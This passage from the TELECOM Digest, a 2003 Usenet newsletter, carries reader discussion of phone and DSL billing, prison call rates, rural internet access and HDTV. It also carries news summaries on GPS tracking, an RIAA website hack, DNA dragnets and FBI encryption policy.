calls on the cellphone or AOL-by-Phone (they are free in most cases), but I still keep a one hundred minute package of time for LD on my phone, which costs six dollars. So by and large, my phone and DSL service are fixed at about $90 per month. I do not expect many surprises there; aggravations from SWB, yes; surprises, no. Also, SWB puts the new bill on line for review four weeks before they actually debit it, and finally, I have a very friendly and understanding bank manager. My bank statements are on line also. It is unimaginable to me that anyone could make off with any money from my account, but I do watch my balance and the various debits which go through rather closely. When a bank only has seven or eight employees, period, and each of them has a key to the front door, there is not a lot to worry about where the bank is concerned. I do understand your thoughts however, and if I were still living in Chicago, IL or another large city where no one cares about anything, I'd probably not do autodraft either. PAT] ------------------------------ From: Dave Phelps Subject: Re: Prison Call Overcharging Date: Fri, 3 Jan 2003 00:40:14 -0600 In article , hancock4@bbs.cpcn.com says: > Inmates in prison may make collect calls to their families. However, > the family is charged very steep fees for such calls -- much more than > today's routine collect call charges. For example, $3 for the first > minute, $1 each additional minute. > This appears to be a common practice across the U.S. [snip] Of course it is. These jailcell phones are being installed in jails in my area that charge similar outrageous amounts. The local PD gets 40-50% of the take. What representative, councilperson, or mayor will argue with that? It's much more convenient as well because an officer or jailer doesn't have to take a prisoner out of the cell, to a phone, dial the number, etc. These phones are installed in the cells, so the prisoner can use the phone whenever they like. Convenience, reduced manpower requirements, and make a profit? Seems like a no-brainer to our ethically-challenged politicians. Dave Phelps deadspam=tippenring [TELECOM Digest Editor's Note: Now, if they could only set more reasonable and fair rates, it would be hard to quarrel with the idea. But they won't. That's where ethics and challenges come into it. There are a lot of very difficult problems in corrections, not the least of which is corrections employees who have a vested interest in keeping their jobs, and that assurance is best met by making sure the inmate population continues to rise month after month, year after year. Keeping inmates out of touch with their family and friends and the rest of society is one way to insure the return rate will continue to stay very high. What's wrong with your final sentence, Dave, is that corrections is not supposed to be a profit making enterprise. PAT] ------------------------------ From: Dave Phelps Subject: Re: Modular ICS + Startalk Date: Fri, 3 Jan 2003 00:55:29 -0600 In article , harryhydro@hotmail.com says: > I hope I'm giving you enough info. This ICS has system version > SP: 30JBM03 NAT. In the past we've tried to put a Startalk on but had > problems that was stated to be System Version issues.. Is this ture > or is this system capable of supporting a Startalk? I don't believe the Startalk will work properly with MICS 2.0 and later. Dave Phelps Phone Masters Ltd. deadspam=tippenring ------------------------------ From: Phil Earnhardt Subject: RBOCs Charging Extra $10/Month For More Than One Host on DSL Date: Fri, 03 Jan 2003 00:33:00 -0700 Organization: http://extra.newsguy.com Apparently, at least one of the RBOCs is charging an extra $10/month to hook up multiple computers to the same DSL feed. Given that their DSL modems have both DHCP and NAT, how could the RBOC's ISP tell that you had more than one computer inside the modem's firewall? Even if it could, what would keep you from having your ""one computer connected to the Internet"" be a router/firewall? $10/month sounds really steep for this, especially when routers with 4 switched ports cost around $60 to purchase. Does anybody know the companies are thinking? If you know how to do this yourself, do they really care? phil ------------------------------ From: Linc Madison Subject: Re: Why Won't my Sprint PCS Phone Roam? (Samsung SCH-3500) Date: Fri, 03 Jan 2003 02:19:27 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Steven J. Sobol wrote: > Can you give more details? Have you checked over on > alt.cellular.sprintpcs as to why this might not be working? John Levine pinpointed the problem. The specific phone I have (Samsung SCH-3500) has three roaming options: ""Sprint PCS"" (no roaming), ""Analog"" (roaming only, on the analog cellular network), or ""Automatic"" (prefer PCS, but also roam on digital or analog networks). I was using the ""Analog"" setting, under the mistaken impression that it was equivalent to ""Automatic"" in areas with no PCS service. I figured it would save me the time of first trying to get a PCS signal before dropping over onto the roaming side. It turns out I was shutting out digital roaming options. It is also possible that the analog network wouldn't accept my call because I was on a digital phone in an area with digital service. I can't test the theory right at the moment, though, because putting the phone in ""Automatic"" mode here just pops it into the PCS network. I'll give it a try the next time I'm travelling outside PCS territory. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ Date: Fri, 3 Jan 2003 07:33:52 -0500 From: Ron Chapman Subject: Re: Out the Door In article , Monty Solomon wrote: > Mr. Pagein will not be destitute. His wife is working and he has a > college degree. But the cold-blooded way in which he and his fellow > workers were lopped off the employment rolls by Verizon, and the > phenomenal gap that exists between the compensation available to the > company's ordinary workers and the fabulous, multimillion-dollar > packages taken home by executives at the top of the Verizon pyramid, > has shaken his faith in a system he believed in. > http://www.nytimes.com/2003/01/01/opinion/01HERB.html You know, over the past couple of years it's become obvious to me that the white collar worker is the new blue collar worker--and it looks like 1920 all over again. I'm not a union man. I generally think that in this day and age, unions -- as they've made themselves today -- are not necessary. In fact, generally it seems as if the average (autoworker, electrician, etc.) needs protection against union management itself. However, as I've watched big business do its thing over the past few years, it seems to me that the unions are missing a HUGE opportunity here to remake themselves. The cube-dwellers are the modern equivalent, in the modern techno-services industry, to the machine operators and tradesmen of the older industrial society. And they're being treated exactly the same way. The unions could HUGELY increase their membership and relevance to society by organizing these people and protecting them against the ""fabulous, multimiillion-dollar executives"" and the abuses of said executives against the common working folk down there in cubeville. And if they did their work right, the unions could simultaneously remake themselves into protectors of the investor and his investments. The executive abuses are simply power and money grabs by individuals who are in a position to do so; by protecting the union members against that and watching over these executives very carefully, the unions could be whistleblowers that (a) could catch problems very early on, and (b) be untouchable in their whistleblowing, unlike individuals who simply don't have the money or time or energy to fight it when they see it. Union-backed whistleblowing which protects the workers by definition protects the investors. And if the unions spun that right, got a good marketing angle on it, the unions could reinvent themselves for the new economy and come out stronger than ever. Now, I'm not pro-union. I'm just wondering why somebody else hasn't thought of this over the last three years and implemented it. It sounds awfully logical to me. ------------------------------ Date: Fri, 03 Jan 2003 09:54:14 -0500 From: John Stahl Subject: Re: Pact Lifts an Obstacle to HDTV Transition It seems that the behind the scenes negotiating between the TV industry (who wants to protect their investment in programming) and the National Cable TV Association (NCTA), will speed up the introduction of HDTV to meet the US Government's set time table for introduction of HDTV and also seems to be an accelerator for the end to analog transmission of TV signals. When the Government made this schedule some years ago, I recall that some discussions were made on this forum but at the time many thought that this would never happen - but it seems that it will indeed happen but did anyone figure then what all this change would cost the individual consumer? So with this agreement, the issue of the existing analog TV sets is now set for extinction. Because when all that is available - over the air AND now on cable - is HDTV digital signals, it will be mandatory that we all will have to spend (collectively) $ millions (perhaps $ billions) to purchase HDTV sets (and other appliances) in order to watch (and record) any kind of US TV programming. You will note that the article indicates that there is even a newly agreed to limitation on the recording of TV signals, as new connection (or connectors) standards will preclude the usage of present day VCR's or even recordable DVD's!. Another new device (with time limitations built-in) will be required to record, for time delay, TV shows to fit our schedules!. Of course all of this is a great boon to the manufacturers of TV's and recording devices. But also more scrap (existing analog TV's, VCR's, etc.) generation for dumps' and scrap collectors'! You know, Orwell might have been right in his tome, ""1984"": ""Big-Brother"" Government is really getting involved in how we live our lives. Wonder what ever happened here in the US to free choice and free will of the consumer? We will have no choice but to buy this new technology and throw away the old. John ------------------------------ From: kimbrennan@aol.comfrtz.com (KimBrennan) Date: 03 Jan 2003 19:08:40 GMT Organization: AOL http://www.aol.com Subject: Rural WV and high speed internet I've a piece of property in Pendleton County WV. Dial-up Internet services are available, but I've wanted to get something faster. Since I don't live in the county seat (Franklin), I don't have access to cable TV. So for high speed internet the choices are: 1) Satellite 2) DSL 3) ISDN 4) T1/T3 Satellite. I've followed the saga of satellite internet service for sometime, and frankly I'm less than impressed with the choices. I've basically decided, it isn't worth the gamble. DSL. Unavailable in my section of WV. ISDN. Only available for ""business"", not ""residential"" as near as I can tell from Verizon. Also they also will only hook up the ISDN line, if you get your internet service from Verizon. Verizon's ISDN internet is long distance from my place not to mention being considerably more expensive than that alternatives. A resistance check in the past shows that the line to my house is sufficient for ISDN. T1/T3. Available, but prohibitively expensive due to distance from available circuits. Last time I checked, they charged by the distance (in feet) to the CO. Unfortunately for me, distance to the CO is measured in miles ... Based on the number of people in the county (approx. 8,000), I don't fore see any of this changing anytime in my lifetime. So that leaves me with ISDN as my only choice in an affordable sense. A couple of years ago, I called and ordered ISDN. Everything was going smoothly up until the local junction box was examined. At that point they realized they didn't have any free copper (for me ... OR for several voice circuits that had been ordered) and my order was cancelled. I understand that the junction box may have been rewired in the last year, so I may pursue this again. The only glitch is having to deal with Verizon for the internet service. I'd rather just get the ISDN line and then connect to the ISP of my choice (several of which are actually local). Any ideas on how I should pursue this? ""I'm sorry, all my money is tied up in currency."" W.C.Fields ------------------------------ Date: Fri, 03 Jan 2003 15:26:15 -0700 From: Joey Lindstrom Subject: Fido Operator Staves Off Bankruptcy Reply-To: joey@garynuman.info MONTREAL (CP) -- Microcell Telecommunications (MTI.B), owner of the Fido cellphone network, has struck a deal with lenders to eliminate most of its $2 billion in debt in exchange for ownership of virtually all of the company. http://www.webfin.com/en/news/news.html/?id=29420 ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. 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Townson A Nasty Surprise for Car Thieves (Monty Solomon) Is This the Face of a Terrorist? (Monty Solomon) Court Punts Sex.com Domain Case (Monty Solomon) Spying on Snookums With GPS (Monty Solomon) Do Net Cafes Provoke Bloodshed? (Monty Solomon) New U.S. Rules for Travelers (Monty Solomon) MS Java Ruling Sets IT Precedent (Monty Solomon) Why RIAA Keeps Getting Hacked (Monty Solomon) Testing the Wireless Waters With WiFi (Monty Solomon) Police Dragnets for DNA Tests Draw Criticism (Monty Solomon) U.S. Makes Airlines Give Data on Americans Going Overseas (Monty Solomon) For the Gadget Universe, a Common Tongue (Monty Solomon) Readers' Favorite Blogs (Monty Solomon) FCC Preparing to Overhaul Telecom, Media Rules (Monty Solomon) Cooling on the Cold Calling?/Some Telemarketers Changing (Monty Solomon) Satellite TV Orbits Closer to Cable (Monty Solomon) Will Your TV Become a Spy? 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Sat, 4 Jan 2003 14:15:02 -0500 From: Monty Solomon Subject: A Nasty Surprise for Car Thieves By Randy Dotinga Armed with satellite tracking technology and remote-control devices, police officers from Virginia to Southern California are arresting car thieves who have unwittingly stolen booby-trapped Camrys and Accords. When a thief drives off with a ""bait car"" that's been left parked somewhere, police track its location, dispatch officers and use remote control to stop the vehicle in its tracks. While some police departments don't publicize their use of the cars, police in San Diego and Arlington, Virginia, recently acknowledged putting them on the street. Police in Memphis, Tennessee; Winnipeg, Manitoba; Sacramento, California; and at least 100 other cities also use the cars, which can be outfitted for between $600 and $3,200, plus monthly fees and startup costs. Unlike LoJack, which relies on homing devices to find stolen cars, the tracking systems use GPS software and transmit data through one or more communications networks. While satellite-tracked bait cars have been around for five years, they now come with added technology tricks, all hidden from the eyes of car thieves until it's too late. Perhaps the most important device is a kill switch that allows police to stop the car by remote control, either by slowly cutting off the gas or suddenly switching off the engine. http://www.wired.com/news/technology/0,1282,56536,00.html ------------------------------ Date: Sat, 4 Jan 2003 14:18:15 -0500 From: Monty Solomon Subject: Is This the Face of a Terrorist? By Julia Scheeres FBI investigators have traveled to Pakistan to determine whether a man claiming he was mistakenly included in the agency's wanted list is telling the truth about his identity. But face-recognition experts said Friday they were able to back up the man's claim in a matter of minutes by comparing his FBI mug shot with photographs taken by the news media. The confusion started earlier this week, when the FBI released the photos, names and birth dates of five Arab men who are allegedly residing in the United States after slipping over the Canadian border. The FBI charged that the men used fake passports obtained through an ID and smuggling ring that has known terrorist connections. http://www.wired.com/news/business/0,1367,57069,00.html ------------------------------ Date: Sat, 4 Jan 2003 14:21:10 -0500 From: Monty Solomon Subject: Court Punts Sex.com Domain Case By Joanna Glasner A dispute over the transfer of the domain name Sex.com may be heading to California's highest court. In a decision published Friday, a panel of federal appellate judges asked the California Supreme Court to weigh in on the question of whether traditional property conversion laws should apply to Internet domain names. http://www.wired.com/news/business/0,1367,57065,00.html ------------------------------ Date: Sat, 4 Jan 2003 14:35:57 -0500 From: Monty Solomon Subject: Spying on Snookums With GPS By Randy Dotinga In a rambling building that overlooks a freeway in San Diego, a bank of computers monitors the travels of trucks carrying hazardous materials, making sure they don't go anywhere near such landmarks as the White House and the capitol building of Arkansas. Using GPS software, the computers also track cars for seven police agencies. Some of the vehicles are waiting to be stolen, while others are driven by unsuspecting suspects who are under surveillance. And then there are the private citizens, some 5,000 of them, whose cars are tracked night and day. Finding their latitude and longitude is as easy as logging on to the Internet, typing in a password and looking at a computerized map. It's impossible, however, to find out how many of the customers track their spouses or partners without telling them. http://www.wired.com/news/technology/0,1282,56537,00.html ------------------------------ Date: Sat, 4 Jan 2003 14:39:44 -0500 From: Monty Solomon Subject: Do Net Cafes Provoke Bloodshed? By Reuters LOS ANGELES -- A Los Angeles city councilman has called for an investigation of violence at so-called Internet cafes, a step that could prompt a crackdown on the popular and controversial sites for PC-based games. The investigation of the cybercafes, also known as ""PC bangs,"" came after a brawl erupted between rival groups playing in a tournament involving the online combat game Counter-Strike. Los Angeles City Councilman Dennis Zine plans to introduce a motion at a hearing next week asking for a report from the Los Angeles Police Department on recent outbreaks of violence at cybercafes, a representative said on Thursday. http://www.wired.com/news/culture/0,1284,57047,00.html ------------------------------ Date: Sat, 4 Jan 2003 14:44:57 -0500 From: Monty Solomon Subject: New U.S. Rules for Travelers By Associated Press WASHINGTON -- Millions of travelers arriving and departing the United States will have to submit detailed personal information this year under rules proposed by the federal government Friday as part of the war on terrorism. The rules proposed by the Immigration and Naturalization Service, once they are finalized, seek more information from travelers than under current law and for the first time extend the requirements to U.S. citizens and others previously exempted. All airlines, cargo flights, cruise ships and other vessels carrying crew or passengers will be affected, with the exception of ferryboats. The information will be sent electronically to the government before a traveler arrives in the United States or departs from it, giving officials a complete manifest of exactly who is on board. http://www.wired.com/news/politics/0,1283,57058,00.html ------------------------------ Date: Sat, 4 Jan 2003 14:57:14 -0500 From: Monty Solomon Subject: MS Java Ruling Sets IT Precedent By Associated Press SEATTLE -- If a judge's order takes effect forcing Microsoft to include Sun Microsystems' Java software in the Windows operating system, neither the companies nor PC users will see much immediate impact. Microsoft will still be the overwhelmingly dominant maker of desktop PC software. Sun's core business of selling servers will remain tough. And consumers will wonder what the fuss was all about. Over time, observers say, the biggest consequence could be the precedent of a judge -- and not engineers, software companies or even users -- deciding what is installed on personal computers. http://www.wired.com/news/infostructure/0,1377,57073,00.html ------------------------------ Date: Sat, 4 Jan 2003 15:00:56 -0500 From: Monty Solomon Subject: Why RIAA Keeps Getting Hacked By Michelle Delio 02:00 AM Jan. 03, 2003 PT The Recording Industry Association of America may not want people to share digital files, but the organization certainly seems to be in favor of open access to its website. On Monday, the RIAA site was hacked for the sixth time in six months. This time, the defacement resulted in bogus press releases on the front door, touting the joys of cheese and interspecies romantic relationships. The RIAA's role as the music industry's voice against digital piracy makes it an obvious target for those who are angered by what they see as the organization's overly vehement crusade for copyright owners' rights. Since the RIAA site is such a tempting target, many wonder why the organization hasn't made more of an effort to secure its site. On Monday, access to the site's supposedly private innards was gained in much the same way as it was last August. Some security experts said in no uncertain terms that the latest defacements indicate the RIAA is clueless about technology. They charge that this ignorance has resulted in the RIAA attempting to combat digital file sharing in ineffective, counter-productive ways. http://www.wired.com/news/technology/0,1282,57048,00.html ------------------------------ Date: Sat, 4 Jan 2003 15:49:59 -0500 From: Monty Solomon Subject: Testing the Wireless Waters With WiFi Firm Sees Coasts As Internet Frontiers By Yuki Noguchi Washington Post Staff Writer Friday, January 3, 2003; Page E01 The typical domains of wireless networks are college campuses, major airports, high-end hotels, trendy coffee shops and tech-heavy neighborhoods. But Forrest C. ""Woody"" Wheat sees a new horizon for this increasingly popular technology: the near-shore waters of the American coast. Wheat, whose Reston-based firm has been selling high-speed wireless service for three months after a year of building a network, said he hopes to expand it for boaters using ""every little estuary"" along the U.S. coast. Wheat sees maritime service as his way to carve a niche in the market for the technology known as WiFi, a system that makes high-speed Internet connections from a laptop as portable as a call from a cell phone. He is among an expanding fleet of competitors looking to capitalize on the technology. Those who sell WiFi service still face technical and financial challenges, and few firms have managed to profit from selling the service. But analysts and market watchers expect consumers to embrace the technology in greater numbers, even as the rest of the telecommunications industry struggles to stay afloat. http://www.washingtonpost.com/wp-dyn/articles/A3549-2003Jan2.html ------------------------------ Date: Sat, 4 Jan 2003 16:05:48 -0500 From: Monty Solomon Subject: Police Dragnets for DNA Tests Draw Criticism By DAVID M. HALBFINGER BATON ROUGE, La., Jan. 3 - Recently, the police asked Shannon F. Kohler if they could swab the inside of his mouth to analyze his DNA. It was a request they made of 800 men in southern Louisiana as they searched for the serial killer who has slain four young women, leaving behind genetic material in each case. It was his choice, Mr. Kohler said the officers told him, but if he refused, they would get a court order and that would get in the newspapers and then everyone would know he was not cooperating. The approach was heavy-handed and foolish, he said, especially since he has feet much bigger than the prints left by the killer and had phone bills that show he was at home when the murders took place. The questions Mr. Kohler is raising about DNA testing are also being asked by lawyers and other experts around the country who say the growing use of DNA dragnets like the one here, already one of the largest in American history, is troubling. The tests, supposedly voluntary, can still be coercive, critics say, not only harassing innocent people but also potentially violating suspects' constitutional protections against compelled self-incrimination and unreasonable search and seizure. Future prosecutions could be undermined, some legal scholars, defense lawyers and even some prosecutors say. Some question whether the dragnets' limited success justifies the effort and expense. And even those who endorse the idea of DNA sweeps argue over whether -- and why -- the government should keep on file the genetic profiles of those who are proved to be innocent. The tests trouble some for the very reason that police find them attractive: they offer the most incontrovertible proof of identity. http://www.nytimes.com/2003/01/04/national/04DNA.html [TELECOM Digest Editor's Note: Hey. Mr. Kohler ... welcome to RealWorld. Police do *not* like it when a citizen thwarts them in their often times bogus 'investigations'. Not only that, do you know *how* your refusal to submit to the police heavy-handed tactics would reach the newspapers? Well, because the police would tell them at the papers. They would each take their favorite reporter (meaning, the idiots at the papers who treat police bulljive as Holy Scripture -- inspired text -- and print faithfully every word the kindly police officer told them). And there *are* reporters -- many of them -- who are too stupid, or too lazy, or indifferent to bother thinking it through. If a police officer said it, that makes it good enough for them. So, Mr. Kohler, police would in a very clever and sophisticated way, and no doubt completely legal as laws are now written, make you wish you had taken their damn test, without arguing, or consulting an attorney or anyone else. PAT] ------------------------------ Date: Sat, 4 Jan 2003 16:08:15 -0500 From: Monty Solomon Subject: U.S. to Make Airlines Give Data on Americans Going Overseas By DAVID JOHNSTON WASHINGTON, Jan. 3 - Americans traveling abroad would have to give the government detailed personal information before leaving or returning under an antiterrorism rule that the Immigration and Naturalization Service proposed today. The rule would force airlines and shipping companies to collect and submit to the government the name, birth date, sex, passport number, home country and address of every passenger and crew member. The intent is to provide the authorities with more complete information about who enters and leaves the United States. Currently, air and shipping lines are not required to provide such information to the government about Americans. The proposed rule would make it mandatory for carriers to supply the information about American citizens and noncitizens, immigration officials said. Much of the information is already collected from people entering the country in an arrangement in which 80 percent of commercial carriers voluntarily give personal information about their passengers to the immigration service, the officials said. The added information would be collected while the aircraft or vessel was en route to the United States and electronically transmitted to immigration officials on the ground at the port of entry. The rule would also require carriers to provide information about people who are leaving the United States within 48 hours after the departure of their flight or vessel, the officials said. http://www.nytimes.com/2003/01/04/politics/04TRAV.html ------------------------------ Date: Sat, 4 Jan 2003 16:22:30 -0500 From: Monty Solomon Subject: For the Gadget Universe, a Common Tongue By BARNABY J. FEDER IT is too soon to describe the Bose family as an audio-world version of the Bush and Kennedy clans in politics, but they are off to a good start. In 1964, Amar Bose, a Massachusetts Institute of Technology professor and inventor, created the renowned high-fidelity sound systems company that bears the family name. Now, his only son, Vanu, is gaining recognition for radio-design technology every bit as novel as the sound systems that his father pioneered. The younger Bose's four-year old company, Vanu Inc., is a prominent innovator in the effort to use software rather than hardware to control how radios, cellphones and all other wireless communications devices recognize and manage signals. Early versions of the technology, known as software-defined radio, are beginning to be deployed in military communications equipment and cellular base stations. The goal is to develop software and related components that recognize various wave forms at any frequency in the radio spectrum and choose the appropriate applications to process them. A single device could provide cellphone service no matter what the format or frequency, exchange wireless messages with laptop or hand-held computers, and communicate with walkie-talkies or emergency services. There is another potential benefit: being able to incorporate improved data speeds and features simply by downloading software, rather than replacing the customer's hardware or the company's network equipment. http://www.nytimes.com/2003/01/02/technology/circuits/02bose.html ------------------------------ Date: Sat, 4 Jan 2003 16:35:25 -0500 From: Monty Solomon Subject: Readers' Favorite Blogs By Cynthia L. Webb washingtonpost.com Staff Writer Blogs, personal Web sites featuring everything from diaries to artwork, are bubbling up from the underground. Even America Online reportedly may be jumping on the blog bandwagon. Sites including Blogger.com and UserLand Software already do this, but it's no secret that AOL is looking for ways to boost revenue. Why not latch onto this popular trend as more people and organizations use Web logs to run their own personal Internet soapbox? ""What blogging has brought back to the Web is that initial beauty of connecting to other sources of information,"" Tiffany Shlain, director of the Webby Awards and an Internet trend watcher, told The Globe and Mail of Toronto. There are some 500,000 blogs estimated to be online, according to the article. The subject of blogs sparked a lot of interest with Filter readers. As proof that blogs are going mainstream, and some would argue are mainstream already, Filter readers submitted scores of suggestions for their favorite blogs. While by no means comprehensive of the thousands of blogs out there, here's a sampling of our readers' favorites: http://www.washingtonpost.com/wp-dyn/articles/A5985-2003Jan3.html ------------------------------ Date: Sat, 4 Jan 2003 16:46:46 -0500 From: Monty Solomon Subject: FCC Preparing to Overhaul Telecom, Media Rules If All Proposals Are Enacted, Major Firms in Field Will Be Less Regulated and More Free to Expand By Jonathan Krim Washington Post Staff Writer Over the next few months, a single federal agency will begin to fundamentally alter the nation's communications and mass-media landscape, rewriting a broad swath of rules that affect the choices consumers have for getting online and the variety of television and radio programming they watch and hear. If all of the changes being reviewed by the Federal Communications Commission are enacted as proposed, major telecommunications and media corporations will be less regulated, and more free to grow, than at any time in decades. The rules in question govern how much telephone companies need to open their lines to competitors for local phone and high-speed Internet service, set restrictions on how many TV and radio stations can be owned by one company, and determine whether a company can own both newspapers and TV stations that serve the same community. FCC officials say they expect to begin making decisions as early as February, after more than a year of intense debate and lobbying over sharply different visions of the best way to spur growth and competition in the country's information economy. Opponents of the proposed rules fear that, taken together, they ultimately could lead to a few powerful conglomerates controlling the flow of electronic information, from programming of television and radio news and entertainment to owning the pipes that connect people to the Internet. Those pushing for the changes argue that the old rules fail to account for emerging technologies that can provide a wealth of diverse information and means of communication. Burdensome regulation has stunted their deployment -- particularly of high-speed Internet access -- these people say, and this in turn has hampered recovery of the battered technology sector. http://www.washingtonpost.com/wp-dyn/articles/A3541-2003Jan2.html ------------------------------ Date: Sat, 4 Jan 2003 16:53:34 -0500 From: Monty Solomon Subject: Cooling on the Cold Calling?/Some Telemarketers Changing Strategy By Caroline E. Mayer Washington Post Staff Writer When telemarketers used to interrupt his dinner hour, Douglas E. Palley often liked to cut the call short by saying, ""I'm sorry, Mr. Palley died."" He did so even though he was -- and is -- a telemarketer, president of a local company with 2,000 employees who handle about 20 million calls a year. Now Palley has decided his company will no longer make the unsolicited sales calls that irritated him. CyberRep, the Tysons Corner firm he built with partner S. Tien Wong, terminated its last ""cold-calling"" contract with a long-distance company in August. ""It is our belief that the world of outbound telemarketing has a terminal sickness and is dying,"" Palley said in a recent interview, days after the Federal Trade Commission announced plans for a national do-not-call list to allow consumers to register to block unwanted telemarketing calls. With 104 million calls made a day -- nearly six times the number made 10 years ago -- ""it's the industry people love to hate,"" Palley said, noting that 27 states have already created do-not-call lists. So his company will concentrate on its ""inbound"" call centers, taking calls from customers inquiring about their accounts, ordering products or seeking technical help -- and hoping to use those calls as a sales opportunity. http://www.washingtonpost.com/wp-dyn/articles/A8058-2003Jan3.html ------------------------------ Date: Sat, 4 Jan 2003 18:21:53 -0500 From: Monty Solomon Subject: Satellite TV Orbits Closer to Cable By Ben Charny Staff Writer, CNET News.com January 3, 2003, 12:00 PM PT The number of cable TV subscriptions will be lower in 2002 than the year before, ending nine straight years of growth, the Federal Communications Commission predicted in a recent report. A worsening economic climate and lower consumer spending contributed to what ""may be the first year in which the industry as a whole has had a net loss of subscribers,"" the FCC said in its ""Ninth Annual Report on Video Competition."" http://news.com.com/2100-1033-979128.html ------------------------------ Date: Sat, 4 Jan 2003 19:08:22 -0500 From: Monty Solomon Subject: Will Your TV Become a Spy? PRIVACY MATTERS By Jane Black Will Your TV Become a Spy? Hollywood wants every new digital set to include technology that would stop people from putting its shows on the Net. Bad idea. While the economy and stock markets struggled, 2002 was a golden year for the silver screen. Thanks to blockbuster hits such as Spider-Man, Harry Potter, and Lord of the Rings, ticket sales hit $9.3 billion worldwide, a remarkable 13% rise over 2001's then-record receipts. So much for claims that piracy threatens Hollywood's livelihood. Yet studio execs remain on the warpath. As movies are increasingly broadcast and sold in digital format, Tinseltown execs are panicked that consumers will make infinite numbers of perfect digital copies and share them over the Internet. http://www.businessweek.com/technology/content/jan2003/tc2003013_2538.htm ------------------------------ Date: Sat, 4 Jan 2003 19:14:45 -0500 From: Monty Solomon Subject: Supreme Court Backs Off DVD Case By Declan McCullagh Staff Writer, CNET News.com The U.S. Supreme Court has bowed out of a long-running dispute over a DVD descrambling utility, dealing a preliminary defeat to Hollywood studios and electronics makers. Justice Sandra Day O'Connor placed a ruling by the California Supreme Court on hold last week, but rescinded her emergency stay on Friday. O'Connor's decision came in response to court papers filed by lawyers for the defendant, Matthew Pavlovich, late Thursday. The effect is that Pavlovich is no longer barred from distributing the DeCSS descrambling utility by a court order, but he could be sued again if he decides to do so. http://news.com.com/2100-1023-979197.html ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. Contact information: Patrick Townson/TELECOM Digest Post Office Box 50 Independence, KS 67301 Phone: 620-330-6774 Fax 1: 775-255-9970 Fax 2: 775-306-8390 Fax 3: 775-642-0603 Fax 4: 530-309-7234 Email: editor@telecom-digest.org Subscribe: telecom-subscribe@telecom-digest.org Unsubscribe:telecom-unsubscribe@telecom-digest.org This Digest is the oldest continuing e-journal about telecomm- unications on the Internet, having been founded in August, 1981 and published continuously since then. Our archives are available for your review/research. We believe we are the second oldest e-zine/ mailing list on the internet in any category! URL information: http://telecom-digest.org Anonymous FTP: mirror.lcs.mit.edu/telecom-archives/archives/ (or use our mirror site: ftp.epix.net/pub/telecom-archives) Email <==> FTP: telecom-archives@telecom-digest.org Send a simple, one line note to that automated address for a help file on how to use the automatic retrieval system for archives files. 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End of TELECOM Digest V22 #218 ****************************** >From editor@telecom-digest.org Sun Jan 5 20:09:10 2003 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id h0619A511310; Sun, 5 Jan 2003 20:09:10 -0500 (EST) Date: Sun, 5 Jan 2003 20:09:10 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200301060109.h0619A511310@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #219 TELECOM Digest Sun, 5 Jan 2003 20:09:00 EST Volume 22 : Issue 219 Inside This Issue: Editor: Patrick A. Townson FBI Wants to Take Away Your Right to Encrypt Your Email (Chris N. Acuma) Re: Free Caller ID? (John) New Mass Telemarketing Law (John R. Covert) Re: Pacific Bell Central Office Names (Clarence Dold) ARLB003 Hams Help Out During OK Telephone Emergency (John Bartley) Re: Prison Call Overcharging (Stanley Cline) Re: RBOCs Charging Extra $10 For More Than One Host on DSL (Carl Navarro) Re: Caller ID Problems (J Kelly) Vodafone Plans $20 Billion Stake Sale - Paper (Monty Solomon) WifiScanner, 802.11b Analyzer and Detector (Monty Solomon) Studios Using Digital Armor to Fight Piracy (Monty Solomon) Hacking Away, Long Before There Were Hackers (Monty Solomon) Microsoft Counts on Antipiracy Technique (Monty Solomon) Prairie Home Companion (Rich Greenberg) Last Laugh! Urgent Counter-Proposal (Neal McLain) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Sat, 04 Jan 2003 11:54:35 MST From: acuma@aztec.asu.edu (CHRIS N ACUMA) Subject: FBI Wants to Take Away Your Right to Encrypt Your Email and Data This was taken from a FBI web site that answers 99 questions about the FBI. The FBI's position is that you should not be allowed to encrypt stuff unless you allow the FBI to have the key to decrypt it. Which is kinda like saying you should not be allowed to put a door lock on your home unless you first give the FBI a key to the home so they can search it if they think you're a criminal. http://www.fbi.gov/aboutus/faqs/faqsone.htm What concerns do the FBI and the law enforcement community have regarding the growing use of encryption products by the public, both domestically and abroad? Law enforcement is extremely concerned about the serious threat posed by the use of robust encryption products that do not allow for authorized access or the timely decryption of critical evidence obtained through lawful electronic surveillance and search and seizure. On one hand, encryption is extremely beneficial when used legitimately to protect commercially sensitive information and communications. On the other hand, the potential use of such products by criminals or terrorists raises a tremendous threat to public safety and national security. In view of this, law enforcement supports a balanced encryption policy which meets both commercial and individual needs as well as law enforcement needs. The FBI has found that robust encryption, combined with a key escrow feature which permits court-authorized access to 